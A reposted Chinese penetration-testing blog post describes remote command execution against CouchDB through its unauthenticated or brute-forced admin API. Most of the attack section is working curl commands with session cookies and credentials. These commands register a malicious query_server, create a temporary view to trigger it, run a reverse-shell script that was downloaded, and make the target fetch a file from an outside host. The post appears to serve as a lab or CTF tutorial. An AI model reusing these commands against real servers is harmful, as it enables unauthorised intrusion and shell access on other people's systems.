码迷,mamicode.com
首页 > 数据库 > 详细

Remote Command Execution via CouchDB

时间:2019-10-01 14:30:06      阅读:118      评论:0      收藏:0      [点我收藏+]

标签:sys   sha   you   管理系统   库存   access   api接口   object   min   

11 Sep 2016 ? Pentest, Database

背景介绍

CouchDB是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB可以安装在大部分POSIX系统上,包括Linux和Mac OS X。

漏洞介绍

Couchdb默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

使用nmap扫描可发现couchdb的banner信息 技术图片

执行命令需要使用admin权限,如果数据库存在未授权则可直接利用,若有账号认证则需要想办法获取admin的密码,当然可通过burpsuit去爆破/_utils/,也可以通过metasploit中的auxiliary/scanner/Couchdb/Couchdb/Couchdb/Couchdb_login模块直接进行爆破 CouchDB提供了一个可视化界面工具,在浏览器中运行“http://127.0.0.1:5984/_utils/”,即可见到如下所示的界面。 技术图片

漏洞利用

这里举例有账号认证的情况,我们需要使用admin身份登录然后获取cookie,再使用curl命令与api进行交互,实现数据库操作 技术图片

远程命令执行示例

  1. 新增query_server配置,写入要执行的命令;
  2. 新建一个临时库和临时表,插入一条记录;
  3. 调用query_server处理数据
curl -X PUT 'http://192.168.199.181:5984/_config/query_servers/cmd' -d '"python /tmp/back.py"'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

curl -X PUT 'http://192.168.199.181:5984/teeest'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```

curl -X PUT 'http://192.168.199.181:5984/teeest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```

curl -X POST 'http://192.168.199.181:5984/teeest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

远程下载反弹脚本 技术图片 成功监听到下载请求 技术图片 添加执行权限 技术图片 执行反弹脚本 技术图片 getshell,读取flag 技术图片

同样你也可以不用登录获取Cookie,直接在curl请求中带入账号密码也是可以的,类似于这样,执行效果是一样的,这种方法可能更方便点吧

root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/_config/query_servers/cmd' -d '"curl http://192.168.199.140/flag"'
"curl http://192.168.199.140/flag"
root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/wa'
{"ok":true}
root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/wa/haha' -d '{"_id":"770895a97726d5ca6d70a22173005c7a"}'{"ok":true,"id":"haha","rev":"1-967a00dff5e02add41819138abb3284d"}
root@Urahara:~# curl -X POST 'admin:1qaz2wsx@192.168.199.165:5984/wa/_temp_view?limit=14' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

参考

CouchDB未授权访问导致执行任意系统命令漏洞

CouchDB未授权访问漏洞导致系统命令执行

原文:大专栏  Remote Command Execution via CouchDB


Remote Command Execution via CouchDB

标签:sys   sha   you   管理系统   库存   access   api接口   object   min   

原文地址:https://www.cnblogs.com/petewell/p/11615180.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!